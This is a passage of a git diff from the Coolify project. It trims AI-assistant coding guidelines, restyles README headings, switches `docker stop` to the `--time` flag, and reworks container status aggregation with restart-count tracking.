-- If you need to verify a feature is working, write or update a Unit / Feature test.
-
-### Pest Tests
-- All tests must be written using Pest. Use `php artisan make:test --pest <name>`.
-- You must not remove any tests or test files from the tests directory without approval. These are not temporary or helper files - these are core to the application.
-- Tests should test all of the happy paths, failure paths, and weird paths.
-- Tests live in the `tests/Feature` and `tests/Unit` directories.
-- **Unit tests** MUST use mocking and avoid database. They can run outside Docker.
-- **Feature tests** can use database but MUST run inside Docker container.
-- **Design for testability**: Structure code to be testable without database when possible. Use dependency injection and interfaces.
-- **Mock by default**: Prefer `Mockery::mock()` over `Model::factory()->create()` in unit tests.
-- Pest tests look and behave like this:
-<code-snippet name="Basic Pest Test Example" lang="php">
-it('is true', function () {
-    expect(true)->toBeTrue();
-});
-</code-snippet>
-
-### Running Tests
-**IMPORTANT**: Always run tests in the correct environment based on database dependencies:
-
-**Unit Tests (no database):**
-- Run outside Docker: `./vendor/bin/pest tests/Unit`
-- Run specific file: `./vendor/bin/pest tests/Unit/ProxyCustomCommandsTest.php`
-- These tests use mocking and don't require PostgreSQL
-
-**Feature Tests (with database):**
-- Run inside Docker: `docker exec coolify php artisan test`
-- Run specific file: `docker exec coolify php artisan test tests/Feature/ExampleTest.php`
-- Filter by name: `docker exec coolify php artisan test --filter=testName`
-- These tests require PostgreSQL and use factories/migrations
-
-**General Guidelines:**
-- Run the minimal number of tests using an appropriate filter before finalizing code edits
-- When the tests relating to your changes are passing, ask the user if they would like to run the entire test suite
-- If you get database connection errors, you're running a Feature test outside Docker - move it inside
-
-### Pest Assertions
-- When asserting status codes on a response, use the specific method like `assertForbidden` and `assertNotFound` instead of using `assertStatus(403)` or similar, e.g.:
-<code-snippet name="Pest Example Asserting postJson Response" lang="php">
-it('returns all', function () {
-    $response = $this->postJson('/api/docs', []);
-
-    $response->assertSuccessful();
-});
-</code-snippet>
-
-### Mocking
-- Mocking can be very helpful when appropriate.
-- When mocking, you can use the `Pest\Laravel\mock` Pest function, but always import it via `use function Pest\Laravel\mock;` before using it. Alternatively, you can use `$this->mock()` if existing tests do.
-- You can also create partial mocks using the same import or self method.
-
-### Datasets
-- Use datasets in Pest to simplify tests which have a lot of duplicated data. This is often the case when testing validation rules, so consider going with this solution when writing tests for validation rules.
-
-<code-snippet name="Pest Dataset Example" lang="php">
-it('has emails', function (string $email) {
-    expect($email)->not->toBeEmpty();
-})->with([
-    'james' => 'james@laravel.com',
-    'taylor' => 'taylor@laravel.com',
-]);
-</code-snippet>
-
-
-=== tailwindcss/core rules ===
-
-## Tailwind Core
-
-- Use Tailwind CSS classes to style HTML, check and use existing tailwind conventions within the project before writing your own.
-- Offer to extract repeated patterns into components that match the project's conventions (i.e. Blade, JSX, Vue, etc..)
-- Think through class placement, order, priority, and defaults - remove redundant classes, add classes to parent or child carefully to limit repetition, group elements logically
-- You can use the `search-docs` tool to get exact examples from the official documentation when needed.
-
-### Spacing
-- When listing items, use gap utilities for spacing, don't use margins.
-
-    <code-snippet name="Valid Flex Gap Spacing Example" lang="html">
-        <div class="flex gap-8">
-            <div>Superior</div>
-            <div>Michigan</div>
-            <div>Erie</div>
-        </div>
-    </code-snippet>
-
-
-### Dark Mode
-- If existing pages and components support dark mode, new pages and components must support dark mode in a similar way, typically using `dark:`.
-
-
-=== tailwindcss/v4 rules ===
-
-## Tailwind 4
-
-- Always use Tailwind CSS v4 - do not use the deprecated utilities.
-- `corePlugins` is not supported in Tailwind v4.
-- In Tailwind v4, you import Tailwind using a regular CSS `@import` statement, not using the `@tailwind` directives used in v3:
-
-<code-snippet name="Tailwind v4 Import Tailwind Diff" lang="diff"
-   - @tailwind base;
-   - @tailwind components;
-   - @tailwind utilities;
-   + @import "tailwindcss";
-</code-snippet>
-
-
-### Replaced Utilities
-- Tailwind v4 removed deprecated utilities. Do not use the deprecated option - use the replacement.
-- Opacity values are still numeric.
-
-| Deprecated |	Replacement |
-|------------+--------------|
-| bg-opacity-* | bg-black/* |
-| text-opacity-* | text-black/* |
-| border-opacity-* | border-black/* |
-| divide-opacity-* | divide-black/* |
-| ring-opacity-* | ring-black/* |
-| placeholder-opacity-* | placeholder-black/* |
-| flex-shrink-* | shrink-* |
-| flex-grow-* | grow-* |
-| overflow-ellipsis | text-ellipsis |
-| decoration-slice | box-decoration-slice |
-| decoration-clone | box-decoration-clone |
-
-
-=== tests rules ===
-
-## Test Enforcement
-
-- Every change must be programmatically tested. Write a new test or update an existing test, then run the affected tests to make sure they pass.
-- Run the minimum number of tests needed to ensure code quality and speed.
-- **For Unit tests**: Use `./vendor/bin/pest tests/Unit/YourTest.php` (runs outside Docker)
-- **For Feature tests**: Use `docker exec coolify php artisan test --filter=YourTest` (runs inside Docker)
-- Choose the correct test type based on database dependency:
-  - No database needed? → Unit test with mocking
-  - Database needed? → Feature test in Docker
-</laravel-boost-guidelines>
+- Livewire components require single root element
+- Use `wire:model.live` for real-time updates
+- Alpine.js included with Livewire
+- Tailwind CSS 4.1.4 (use new utilities, not deprecated ones)
+- Use `gap` utilities for spacing, not margins
 
 
 Random other things you should remember:
diff --git a/README.md b/README.md
index f159cde89..a84b3bfa9 100644
--- a/README.md
+++ b/README.md
@@ -1,9 +1,13 @@
-![Latest Release Version](https://img.shields.io/badge/dynamic/json?labelColor=grey&color=6366f1&label=Latest_released_version&url=https%3A%2F%2Fcdn.coollabs.io%2Fcoolify%2Fversions.json&query=coolify.v4.version&style=for-the-badge
-)
+<div align="center">
 
-[![Bounty Issues](https://img.shields.io/static/v1?labelColor=grey&color=6366f1&label=Algora&message=%F0%9F%92%8E+Bounty+issues&style=for-the-badge)](https://console.algora.io/org/coollabsio/bounties/new)
+# Coolify
+An open-source & self-hostable Heroku / Netlify / Vercel alternative. 
 
-# About the Project
+![Latest Release Version](https://img.shields.io/badge/dynamic/json?labelColor=grey&color=6366f1&label=Latest%20released%20version&url=https%3A%2F%2Fcdn.coollabs.io%2Fcoolify%2Fversions.json&query=coolify.v4.version&style=for-the-badge
+) [![Bounty Issues](https://img.shields.io/static/v1?labelColor=grey&color=6366f1&label=Algora&message=%F0%9F%92%8E+Bounty+issues&style=for-the-badge)](https://console.algora.io/org/coollabsio/bounties/new)
+</div>
+
+## About the Project
 
 Coolify is an open-source & self-hostable alternative to Heroku / Netlify / Vercel / etc.
 
@@ -15,7 +19,7 @@ # About the Project
 
 For more information, take a look at our landing page at [coolify.io](https://coolify.io).
 
-# Installation
+## Installation
 
 ```bash
 curl -fsSL https://cdn.coollabs.io/coolify/install.sh | bash
@@ -25,11 +29,11 @@ # Installation
 > [!NOTE]
 > Please refer to the [docs](https://coolify.io/docs/installation) for more information about the installation.
 
-# Support
+## Support
 
 Contact us at [coolify.io/docs/contact](https://coolify.io/docs/contact).
 
-# Cloud
+## Cloud
 
 If you do not want to self-host Coolify, there is a paid cloud version available: [app.coolify.io](https://app.coolify.io)
 
@@ -44,14 +48,14 @@ ## Why should I use the Cloud version?
 - Better support
 - Less maintenance for you
 
-# Donations
+## Donations
 To stay completely free and open-source, with no feature behind the paywall and evolve the project, we need your help. If you like Coolify, please consider donating to help us fund the project's future development.
 
 [coolify.io/sponsorships](https://coolify.io/sponsorships)
 
 Thank you so much!
 
-## Big Sponsors
+### Big Sponsors
 
 * [23M](https://23m.com?ref=coolify.io) - Your experts for high-availability hosting solutions!
 * [Algora](https://algora.io?ref=coolify.io) - Open source contribution platform
@@ -69,7 +73,6 @@ ## Big Sponsors
 * [Dade2](https://dade2.net/?ref=coolify.io) - IT Consulting, Cloud Solutions & System Integration
 * [Formbricks](https://formbricks.com?ref=coolify.io) - The open source feedback platform
 * [GoldenVM](https://billing.goldenvm.com?ref=coolify.io) - Premium virtual machine hosting solutions
-* [Gozunga](https://gozunga.com?ref=coolify.io) - Seriously Simple Cloud Infrastructure
 * [Hetzner](http://htznr.li/CoolifyXHetzner) - Server, cloud, hosting, and data center solutions
 * [Hostinger](https://www.hostinger.com/vps/coolify-hosting?ref=coolify.io) - Web hosting and VPS solutions
 * [JobsCollider](https://jobscollider.com/remote-jobs?ref=coolify.io) - 30,000+ remote jobs for developers
@@ -89,7 +92,7 @@ ## Big Sponsors
 * [Ubicloud](https://www.ubicloud.com?ref=coolify.io) - Open source cloud infrastructure platform
 
 
-## Small Sponsors
+### Small Sponsors
 
 <a href="https://open-elements.com/?utm_source=coolify.io"><img width="60px" alt="OpenElements" src="https://github.com/OpenElements.png"/></a>
 <a href="https://xaman.app/?utm_source=coolify.io"><img width="60px" alt="XamanApp" src="https://github.com/XamanApp.png"/></a>
@@ -142,7 +145,7 @@ ## Small Sponsors
 
 ...and many more at [GitHub Sponsors](https://github.com/sponsors/coollabsio)
 
-# Recognitions
+## Recognitions
 
 <p>
 <a href="https://news.ycombinator.com/item?id=26624341">
@@ -158,17 +161,17 @@ # Recognitions
 
 <a href="https://trendshift.io/repositories/634" target="_blank"><img src="https://trendshift.io/api/badge/repositories/634" alt="coollabsio%2Fcoolify | Trendshift" style="width: 250px; height: 55px;" width="250" height="55"/></a>
 
-# Core Maintainers
+## Core Maintainers
 
 | Andras Bacsai | 🏔️ Peak |
 |------------|------------|
 | <img src="https://github.com/andrasbacsai.png" width="200px" alt="Andras Bacsai" /> | <img src="https://github.com/peaklabs-dev.png" width="200px" alt="peaklabs-dev" /> |
 | <a href="https://github.com/andrasbacsai"><img src="https://api.iconify.design/devicon:github.svg" width="25px"></a> <a href="https://x.com/heyandras"><img src="https://api.iconify.design/devicon:twitter.svg" width="25px"></a> <a href="https://bsky.app/profile/heyandras.dev"><img src="https://api.iconify.design/simple-icons:bluesky.svg" width="25px"></a> | <a href="https://github.com/peaklabs-dev"><img src="https://api.iconify.design/devicon:github.svg" width="25px"></a> <a href="https://x.com/peaklabs_dev"><img src="https://api.iconify.design/devicon:twitter.svg" width="25px"></a> <a href="https://bsky.app/profile/peaklabs.dev"><img src="https://api.iconify.design/simple-icons:bluesky.svg" width="25px"></a> |
 
-# Repo Activity
+## Repo Activity
 
 ![Alt](https://repobeats.axiom.co/api/embed/eab1c8066f9c59d0ad37b76c23ebb5ccac4278ae.svg "Repobeats analytics image")
 
-# Star History
+## Star History
 
 [![Star History Chart](https://api.star-history.com/svg?repos=coollabsio/coolify&type=Date)](https://star-history.com/#coollabsio/coolify&Date)
diff --git a/app/Actions/Database/RestartDatabase.php b/app/Actions/Database/RestartDatabase.php
index 0400d924d..940bc69fb 100644
--- a/app/Actions/Database/RestartDatabase.php
+++ b/app/Actions/Database/RestartDatabase.php
@@ -22,7 +22,7 @@ public function handle(StandaloneRedis|StandalonePostgresql|StandaloneMongodb|St
         if (! $server->isFunctional()) {
             return 'Server is not functional';
         }
-        StopDatabase::run($database);
+        StopDatabase::run($database, dockerCleanup: false);
 
         return StartDatabase::run($database);
     }
diff --git a/app/Actions/Database/StartClickhouse.php b/app/Actions/Database/StartClickhouse.php
index 38f6d7bc8..7fdfe9aeb 100644
--- a/app/Actions/Database/StartClickhouse.php
+++ b/app/Actions/Database/StartClickhouse.php
@@ -105,7 +105,7 @@ public function handle(StandaloneClickhouse $database)
         $this->commands[] = "echo '{$readme}' > $this->configuration_dir/README.md";
         $this->commands[] = "echo 'Pulling {$database->image} image.'";
         $this->commands[] = "docker compose -f $this->configuration_dir/docker-compose.yml pull";
-        $this->commands[] = "docker stop --timeout=10 $container_name 2>/dev/null || true";
+        $this->commands[] = "docker stop --time=10 $container_name 2>/dev/null || true";
         $this->commands[] = "docker rm -f $container_name 2>/dev/null || true";
         $this->commands[] = "docker compose -f $this->configuration_dir/docker-compose.yml up -d";
         $this->commands[] = "echo 'Database started.'";
diff --git a/app/Actions/Database/StartDragonfly.php b/app/Actions/Database/StartDragonfly.php
index 300221d24..d1bb119af 100644
--- a/app/Actions/Database/StartDragonfly.php
+++ b/app/Actions/Database/StartDragonfly.php
@@ -192,7 +192,7 @@ public function handle(StandaloneDragonfly $database)
         if ($this->database->enable_ssl) {
             $this->commands[] = "chown -R 999:999 $this->configuration_dir/ssl/server.key $this->configuration_dir/ssl/server.crt";
         }
-        $this->commands[] = "docker stop --timeout=10 $container_name 2>/dev/null || true";
+        $this->commands[] = "docker stop --time=10 $container_name 2>/dev/null || true";
         $this->commands[] = "docker rm -f $container_name 2>/dev/null || true";
         $this->commands[] = "docker compose -f $this->configuration_dir/docker-compose.yml up -d";
         $this->commands[] = "echo 'Database started.'";
diff --git a/app/Actions/Database/StartKeydb.php b/app/Actions/Database/StartKeydb.php
index 3a2ceebb3..128469e24 100644
--- a/app/Actions/Database/StartKeydb.php
+++ b/app/Actions/Database/StartKeydb.php
@@ -208,7 +208,7 @@ public function handle(StandaloneKeydb $database)
         if ($this->database->enable_ssl) {
             $this->commands[] = "chown -R 999:999 $this->configuration_dir/ssl/server.key $this->configuration_dir/ssl/server.crt";
         }
-        $this->commands[] = "docker stop --timeout=10 $container_name 2>/dev/null || true";
+        $this->commands[] = "docker stop --time=10 $container_name 2>/dev/null || true";
         $this->commands[] = "docker rm -f $container_name 2>/dev/null || true";
         $this->commands[] = "docker compose -f $this->configuration_dir/docker-compose.yml up -d";
         $this->commands[] = "echo 'Database started.'";
diff --git a/app/Actions/Database/StartMariadb.php b/app/Actions/Database/StartMariadb.php
index 8a936c8ae..29dd7b8fe 100644
--- a/app/Actions/Database/StartMariadb.php
+++ b/app/Actions/Database/StartMariadb.php
@@ -209,7 +209,7 @@ public function handle(StandaloneMariadb $database)
         $this->commands[] = "echo '{$readme}' > $this->configuration_dir/README.md";
         $this->commands[] = "echo 'Pulling {$database->image} image.'";
         $this->commands[] = "docker compose -f $this->configuration_dir/docker-compose.yml pull";
-        $this->commands[] = "docker stop --timeout=10 $container_name 2>/dev/null || true";
+        $this->commands[] = "docker stop --time=10 $container_name 2>/dev/null || true";
         $this->commands[] = "docker rm -f $container_name 2>/dev/null || true";
         $this->commands[] = "docker compose -f $this->configuration_dir/docker-compose.yml up -d";
         $this->commands[] = "echo 'Database started.'";
diff --git a/app/Actions/Database/StartMongodb.php b/app/Actions/Database/StartMongodb.php
index 19699d684..5982b68be 100644
--- a/app/Actions/Database/StartMongodb.php
+++ b/app/Actions/Database/StartMongodb.php
@@ -260,7 +260,7 @@ public function handle(StandaloneMongodb $database)
         $this->commands[] = "echo '{$readme}' > $this->configuration_dir/README.md";
         $this->commands[] = "echo 'Pulling {$database->image} image.'";
         $this->commands[] = "docker compose -f $this->configuration_dir/docker-compose.yml pull";
-        $this->commands[] = "docker stop --timeout=10 $container_name 2>/dev/null || true";
+        $this->commands[] = "docker stop --time=10 $container_name 2>/dev/null || true";
         $this->commands[] = "docker rm -f $container_name 2>/dev/null || true";
         $this->commands[] = "docker compose -f $this->configuration_dir/docker-compose.yml up -d";
         if ($this->database->enable_ssl) {
diff --git a/app/Actions/Database/StartMysql.php b/app/Actions/Database/StartMysql.php
index 25546fa9d..c1df8d6db 100644
--- a/app/Actions/Database/StartMysql.php
+++ b/app/Actions/Database/StartMysql.php
@@ -210,7 +210,7 @@ public function handle(StandaloneMysql $database)
         $this->commands[] = "echo '{$readme}' > $this->configuration_dir/README.md";
         $this->commands[] = "echo 'Pulling {$database->image} image.'";
         $this->commands[] = "docker compose -f $this->configuration_dir/docker-compose.yml pull";
-        $this->commands[] = "docker stop --timeout=10 $container_name 2>/dev/null || true";
+        $this->commands[] = "docker stop --time=10 $container_name 2>/dev/null || true";
         $this->commands[] = "docker rm -f $container_name 2>/dev/null || true";
         $this->commands[] = "docker compose -f $this->configuration_dir/docker-compose.yml up -d";
 
diff --git a/app/Actions/Database/StartPostgresql.php b/app/Actions/Database/StartPostgresql.php
index ac011acbe..1ae0d56a0 100644
--- a/app/Actions/Database/StartPostgresql.php
+++ b/app/Actions/Database/StartPostgresql.php
@@ -223,7 +223,7 @@ public function handle(StandalonePostgresql $database)
         $this->commands[] = "echo '{$readme}' > $this->configuration_dir/README.md";
         $this->commands[] = "echo 'Pulling {$database->image} image.'";
         $this->commands[] = "docker compose -f $this->configuration_dir/docker-compose.yml pull";
-        $this->commands[] = "docker stop --timeout=10 $container_name 2>/dev/null || true";
+        $this->commands[] = "docker stop --time=10 $container_name 2>/dev/null || true";
         $this->commands[] = "docker rm -f $container_name 2>/dev/null || true";
         $this->commands[] = "docker compose -f $this->configuration_dir/docker-compose.yml up -d";
         if ($this->database->enable_ssl) {
@@ -231,8 +231,6 @@ public function handle(StandalonePostgresql $database)
         }
         $this->commands[] = "echo 'Database started.'";
 
-        ray($this->commands);
-
         return remote_process($this->commands, $database->destination->server, callEventOnFinish: 'DatabaseStatusChanged');
     }
 
diff --git a/app/Actions/Database/StartRedis.php b/app/Actions/Database/StartRedis.php
index 8a7ae42a4..4c99a0213 100644
--- a/app/Actions/Database/StartRedis.php
+++ b/app/Actions/Database/StartRedis.php
@@ -205,7 +205,7 @@ public function handle(StandaloneRedis $database)
         if ($this->database->enable_ssl) {
             $this->commands[] = "chown -R 999:999 $this->configuration_dir/ssl/server.key $this->configuration_dir/ssl/server.crt";
         }
-        $this->commands[] = "docker stop --timeout=10 $container_name 2>/dev/null || true";
+        $this->commands[] = "docker stop --time=10 $container_name 2>/dev/null || true";
         $this->commands[] = "docker rm -f $container_name 2>/dev/null || true";
         $this->commands[] = "docker compose -f $this->configuration_dir/docker-compose.yml up -d";
         $this->commands[] = "echo 'Database started.'";
diff --git a/app/Actions/Database/StopDatabase.php b/app/Actions/Database/StopDatabase.php
index 63f5b1979..5c881e743 100644
--- a/app/Actions/Database/StopDatabase.php
+++ b/app/Actions/Database/StopDatabase.php
@@ -49,7 +49,7 @@ private function stopContainer($database, string $containerName, int $timeout =
     {
         $server = $database->destination->server;
         instant_remote_process(command: [
-            "docker stop --timeout=$timeout $containerName",
+            "docker stop --time=$timeout $containerName",
             "docker rm -f $containerName",
         ], server: $server, throwError: false);
     }
diff --git a/app/Actions/Docker/GetContainersStatus.php b/app/Actions/Docker/GetContainersStatus.php
index f5d5f82b6..61a3c4615 100644
--- a/app/Actions/Docker/GetContainersStatus.php
+++ b/app/Actions/Docker/GetContainersStatus.php
@@ -8,13 +8,17 @@
 use App\Models\ApplicationPreview;
 use App\Models\Server;
 use App\Models\ServiceDatabase;
+use App\Services\ContainerStatusAggregator;
+use App\Traits\CalculatesExcludedStatus;
 use Illuminate\Support\Arr;
 use Illuminate\Support\Collection;
+use Illuminate\Support\Facades\DB;
 use Lorisleiva\Actions\Concerns\AsAction;
 
 class GetContainersStatus
 {
     use AsAction;
+    use CalculatesExcludedStatus;
 
     public string $jobQueue = 'high';
 
@@ -28,6 +32,10 @@ class GetContainersStatus
 
     protected ?Collection $applicationContainerStatuses;
 
+    protected ?Collection $applicationContainerRestartCounts;
+
+    protected ?Collection $serviceContainerStatuses;
+
     public function handle(Server $server, ?Collection $containers = null, ?Collection $containerReplicates = null)
     {
         $this->containers = $containers;
@@ -95,11 +103,15 @@ public function handle(Server $server, ?Collection $containers = null, ?Collecti
                 $labels = data_get($container, 'Config.Labels');
             }
             $containerStatus = data_get($container, 'State.Status');
-            $containerHealth = data_get($container, 'State.Health.Status', 'unhealthy');
+            $containerHealth = data_get($container, 'State.Health.Status');
             if ($containerStatus === 'restarting') {
-                $containerStatus = "restarting ($containerHealth)";
+                $healthSuffix = $containerHealth ?? 'unknown';
+                $containerStatus = "restarting:$healthSuffix";
+            } elseif ($containerStatus === 'exited') {
+                // Keep as-is, no health suffix for exited containers
             } else {
-                $containerStatus = "$containerStatus ($containerHealth)";
+                $healthSuffix = $containerHealth ?? 'unknown';
+                $containerStatus = "$containerStatus:$healthSuffix";
             }
             $labels = Arr::undot(format_docker_labels_to_json($labels));
             $applicationId = data_get($labels, 'coolify.applicationId');
@@ -136,6 +148,18 @@ public function handle(Server $server, ?Collection $containers = null, ?Collecti
                         if ($containerName) {
                             $this->applicationContainerStatuses->get($applicationId)->put($containerName, $containerStatus);
                         }
+
+                        // Track restart counts for applications
+                        $restartCount = data_get($container, 'RestartCount', 0);
+                        if (! isset($this->applicationContainerRestartCounts)) {
+                            $this->applicationContainerRestartCounts = collect();
+                        }
+                        if (! $this->applicationContainerRestartCounts->has($applicationId)) {
+                            $this->applicationContainerRestartCounts->put($applicationId, collect());
+                        }
+                        if ($containerName) {
+                            $this->applicationContainerRestartCounts->get($applicationId)->put($containerName, $restartCount);
+                        }
                     } else {
                         // Notify user that this container should not be there.
                     }
@@ -207,23 +231,34 @@ public function handle(Server $server, ?Collection $containers = null, ?Collecti
             if ($serviceLabelId) {
                 $subType = data_get($labels, 'coolify.service.subType');
                 $subId = data_get($labels, 'coolify.service.subId');
-                $service = $services->where('id', $serviceLabelId)->first();
-                if (! $service) {
+                $parentService = $services->where('id', $serviceLabelId)->first();
+                if (! $parentService) {
                     continue;
                 }
+
+                // Store container status for aggregation
+                if (! isset($this->serviceContainerStatuses)) {
+                    $this->serviceContainerStatuses = collect();
+                }
+
+                $key = $serviceLabelId.':'.$subType.':'.$subId;
+                if (! $this->serviceContainerStatuses->has($key)) {
+                    $this->serviceContainerStatuses->put($key, collect());
+                }
+
+                $containerName = data_get($labels, 'com.docker.compose.service');
+                if ($containerName) {
+                    $this->serviceContainerStatuses->get($key)->put($containerName, $containerStatus);
+                }
+
+                // Mark service as found
                 if ($subType === 'application') {
-                    $service = $service->applications()->where('id', $subId)->first();
+                    $service = $parentService->applications()->where('id', $subId)->first();
                 } else {
-                    $service = $service->databases()->where('id', $subId)->first();
+                    $service = $parentService->databases()->where('id', $subId)->first();
                 }
                 if ($service) {
                     $foundServices[] = "$service->id-$service->name";
-                    $statusFromDb = $service->status;
-                    if ($statusFromDb !== $containerStatus) {
-                        $service->update(['status' => $containerStatus]);
-                    } else {
-                        $service->update(['last_online_at' => now()]);
-                    }
                 }
             }
         }
@@ -291,7 +326,24 @@ public function handle(Server $server, ?Collection $containers = null, ?Collecti
                 continue;
             }
 
-            $application->update(['status' => 'exited']);
+            // If container was recently restarting (crash loop), keep it as degraded for a grace period
+            // This prevents false "exited" status during the brief moment between container removal and recreation
+            $recentlyRestarted = $application->restart_count > 0 &&
+                                 $application->last_restart_at &&
+                                 $application->last_restart_at->greaterThan(now()->subSeconds(30));
+
+            if ($recentlyRestarted) {
+                // Keep it as degraded if it was recently in a crash loop
+                $application->update(['status' => 'degraded:unhealthy']);
+            } else {
+                // Reset restart count when application exits completely
+                $application->update([
+                    'status' => 'exited',
+                    'restart_count' => 0,
+                    'last_restart_at' => null,
+                    'last_restart_type' => null,
+                ]);
+            }
         }
         $notRunningApplicationPreviews = $previews->pluck('id')->diff($foundApplicationPreviews);
         foreach ($notRunningApplicationPreviews as $previewId) {
@@ -340,88 +392,144 @@ public function handle(Server $server, ?Collection $containers = null, ?Collecti
                     continue;
                 }
 
-                $aggregatedStatus = $this->aggregateApplicationStatus($application, $containerStatuses);
-                if ($aggregatedStatus) {
-                    $statusFromDb = $application->status;
-                    if ($statusFromDb !== $aggregatedStatus) {
-                        $application->update(['status' => $aggregatedStatus]);
-                    } else {
-                        $application->update(['last_online_at' => now()]);
-                    }
+                // Track restart counts first
+                $maxRestartCount = 0;
+                if (isset($this->applicationContainerRestartCounts) && $this->applicationContainerRestartCounts->has($applicationId)) {
+                    $containerRestartCounts = $this->applicationContainerRestartCounts->get($applicationId);
+                    $maxRestartCount = $containerRestartCounts->max() ?? 0;
                 }
+
+                // Wrap all database updates in a transaction to ensure consistency
+                DB::transaction(function () use ($application, $maxRestartCount, $containerStatuses) {
+                    $previousRestartCount = $application->restart_count ?? 0;
+
+                    if ($maxRestartCount > $previousRestartCount) {
+                        // Restart count increased - this is a crash restart
+                        $application->update([
+                            'restart_count' => $maxRestartCount,
+                            'last_restart_at' => now(),
+                            'last_restart_type' => 'crash',
+                        ]);
+
+                        // Send notification
+                        $containerName = $application->name;
+                        $projectUuid = data_get($application, 'environment.project.uuid');
+                        $environmentName = data_get($application, 'environment.name');
+                        $applicationUuid = data_get($application, 'uuid');
+
+                        if ($projectUuid && $applicationUuid && $environmentName) {
+                            $url = base_url().'/project/'.$projectUuid.'/'.$environmentName.'/application/'.$applicationUuid;
+                        } else {
+                            $url = null;
+                        }
+                    }
+
+                    // Aggregate status after tracking restart counts
+                    $aggregatedStatus = $this->aggregateApplicationStatus($application, $containerStatuses, $maxRestartCount);
+                    if ($aggregatedStatus) {
+                        $statusFromDb = $application->status;
+                        if ($statusFromDb !== $aggregatedStatus) {
+                            $application->update(['status' => $aggregatedStatus]);
+                        } else {
+                            $application->update(['last_online_at' => now()]);
+                        }
+                    }
+                });
             }
         }
 
+        // Aggregate multi-container service statuses
+        $this->aggregateServiceContainerStatuses($services);
+
         ServiceChecked::dispatch($this->server->team->id);
     }
 
-    private function aggregateApplicationStatus($application, Collection $containerStatuses): ?string
+    private function aggregateApplicationStatus($application, Collection $containerStatuses, int $maxRestartCount = 0): ?string
     {
         // Parse docker compose to check for excluded containers
         $dockerComposeRaw = data_get($application, 'docker_compose_raw');
-        $excludedContainers = collect();
-
-        if ($dockerComposeRaw) {
-            try {
-                $dockerCompose = \Symfony\Component\Yaml\Yaml::parse($dockerComposeRaw);
-                $services = data_get($dockerCompose, 'services', []);
-
-                foreach ($services as $serviceName => $serviceConfig) {
-                    // Check if container should be excluded
-                    $excludeFromHc = data_get($serviceConfig, 'exclude_from_hc', false);
-                    $restartPolicy = data_get($serviceConfig, 'restart', 'always');
-
-                    if ($excludeFromHc || $restartPolicy === 'no') {
-                        $excludedContainers->push($serviceName);
-                    }
-                }
-            } catch (\Exception $e) {
-                // If we can't parse, treat all containers as included
-            }
-        }
+        $excludedContainers = $this->getExcludedContainersFromDockerCompose($dockerComposeRaw);
 
         // Filter out excluded containers
         $relevantStatuses = $containerStatuses->filter(function ($status, $containerName) use ($excludedContainers) {
             return ! $excludedContainers->contains($containerName);
         });
 
-        // If all containers are excluded, don't update status
+        // If all containers are excluded, calculate status from excluded containers
         if ($relevantStatuses->isEmpty()) {
-            return null;
+            return $this->calculateExcludedStatusFromStrings($containerStatuses);
         }
 
-        $hasRunning = false;
-        $hasRestarting = false;
-        $hasUnhealthy = false;
-        $hasExited = false;
+        // Use ContainerStatusAggregator service for state machine logic
+        $aggregator = new ContainerStatusAggregator;
 
-        foreach ($relevantStatuses as $status) {
-            if (str($status)->contains('restarting')) {
-                $hasRestarting = true;
-            } elseif (str($status)->contains('running')) {
-                $hasRunning = true;
-                if (str($status)->contains('unhealthy')) {
-                    $hasUnhealthy = true;
+        return $aggregator->aggregateFromStrings($relevantStatuses, $maxRestartCount);
+    }
+
+    private function aggregateServiceContainerStatuses($services)
+    {
+        if (! isset($this->serviceContainerStatuses) || $this->serviceContainerStatuses->isEmpty()) {
+            return;
+        }
+
+        foreach ($this->serviceContainerStatuses as $key => $containerStatuses) {
+            // Parse key: serviceId:subType:subId
+            [$serviceId, $subType, $subId] = explode(':', $key);
+
+            $service = $services->where('id', $serviceId)->first();
+            if (! $service) {
+                continue;
+            }
+
+            // Get the service sub-resource (ServiceApplication or ServiceDatabase)
+            $subResource = null;
+            if ($subType === 'application') {
+                $subResource = $service->applications()->where('id', $subId)->first();
+            } elseif ($subType === 'database') {
+                $subResource = $service->databases()->where('id', $subId)->first();
+            }
+
+            if (! $subResource) {
+                continue;
+            }
+
+            // Parse docker compose from service to check for excluded containers
+            $dockerComposeRaw = data_get($service, 'docker_compose_raw');
+            $excludedContainers = $this->getExcludedContainersFromDockerCompose($dockerComposeRaw);
+
+            // Filter out excluded containers
+            $relevantStatuses = $containerStatuses->filter(function ($status, $containerName) use ($excludedContainers) {
+                return ! $excludedContainers->contains($containerName);
+            });
+
+            // If all containers are excluded, calculate status from excluded containers
+            if ($relevantStatuses->isEmpty()) {
+                $aggregatedStatus = $this->calculateExcludedStatusFromStrings($containerStatuses);
+                if ($aggregatedStatus) {
+                    $statusFromDb = $subResource->status;
+                    if ($statusFromDb !== $aggregatedStatus) {
+                        $subResource->update(['status' => $aggregatedStatus]);
+                    } else {
+                        $subResource->update(['last_online_at' => now()]);
+                    }
+                }
+
+                continue;
+            }
+
+            // Use ContainerStatusAggregator service for state machine logic
+            $aggregator = new ContainerStatusAggregator;
+            $aggregatedStatus = $aggregator->aggregateFromStrings($relevantStatuses);
+
+            // Update service sub-resource status with aggregated result
+            if ($aggregatedStatus) {
+                $statusFromDb = $subResource->status;
+                if ($statusFromDb !== $aggregatedStatus) {
+                    $subResource->update(['status' => $aggregatedStatus]);
+                } else {
+                    $subResource->update(['last_online_at' => now()]);
                 }
-            } elseif (str($status)->contains('exited')) {
-                $hasExited = true;
-                $hasUnhealthy = true;
             }
         }
-
-        if ($hasRestarting) {
-            return 'degraded (unhealthy)';
-        }
-
-        if ($hasRunning && $hasExited) {
-            return 'degraded (unhealthy)';
-        }
-
-        if ($hasRunning) {
-            return $hasUnhealthy ? 'running (unhealthy)' : 'running (healthy)';
-        }
-
-        // All containers are exited
-        return 'exited (unhealthy)';
     }
 }
diff --git a/app/Actions/Proxy/StartProxy.php b/app/Actions/Proxy/StartProxy.php
index 8671a5f27..bfc65d8d2 100644
--- a/app/Actions/Proxy/StartProxy.php
+++ b/app/Actions/Proxy/StartProxy.php
@@ -13,7 +13,7 @@ class StartProxy
 {
     use AsAction;
 
-    public function handle(Server $server, bool $async = true, bool $force = false): string|Activity
+    public function handle(Server $server, bool $async = true, bool $force = false, bool $restarting = false): string|Activity
     {
         $proxyType = $server->proxyType();
         if ((is_null($proxyType) || $proxyType === 'NONE' || $server->proxy->force_stop || $server->isBuildServer()) && $force === false) {
@@ -22,7 +22,10 @@ public function handle(Server $server, bool $async = true, bool $force = false):
         $server->proxy->set('status', 'starting');
         $server->save();
         $server->refresh();
-        ProxyStatusChangedUI::dispatch($server->team_id);
+
+        if (! $restarting) {
